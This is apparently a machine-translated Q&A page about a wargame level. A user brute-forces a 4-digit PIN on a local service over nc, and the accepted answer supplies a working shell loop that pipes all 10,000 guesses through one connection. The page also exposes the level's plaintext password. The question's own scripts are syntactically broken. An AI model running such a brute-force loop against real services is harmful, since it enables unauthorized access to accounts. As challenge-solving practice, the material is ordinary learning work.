シェルスクリプトを使用した4桁のパスワードの無差別代入

シェルスクリプトを使用した4桁のパスワードの無差別代入

いくつかの挑戦をしています。これはそれらの一つです。希望の回答を得るために、4桁のPINを無差別に代入してパスワードを入力しようとしています。ポートに接続した後、パスワード、スペース、4桁のPINを入力するように求められます。次のスクリプトを使用してピンを無差別に代入しようとしました。

 #!/bin/bash 
 nc localhost 30002 
 sleep 2 

 for i in {0000..9999}; 
     if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];                   
     then 
        continue 
     echo '[+] Pincode Cracked! Pincode = $i' 
     fi 
 done

しかし、通過せずにstdinに固定されていないこのような作業を試みる前に - >if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]];ここで私が何を間違っているのでしょうか?

修正する:

まあ、ちょっと調べた後。私はこれを書いた:

for i in {0000..9999}
do
    if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
   then
      sleep 0.1
      continue
   fi
   echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done

これはうまくいくかもしれませんが、見てわかるように、ループで新しい接続が開かれるため、非常に遅くなり、システムが消費されます。

ベストアンサー1

迅速で効果的な答えは次のとおりです。

#!/bin/bash
passwd24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
for i in {0000..9999}; do
            echo "$passwd24 $i"
done | nc localhost 30002  | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"

更新された回答が非常に遅いです。誤解を入力しても接続は維持されます。前の答えが示すように、forループの末尾にあるパイプです。正しいピンを本当に知りたい場合は、echo thatの前に行を追加できますecho "the correct pass: $1" > /tmp/correctpin.txt。これは正しいパスワードを取得する目的とは何の関係もありません。

おすすめ記事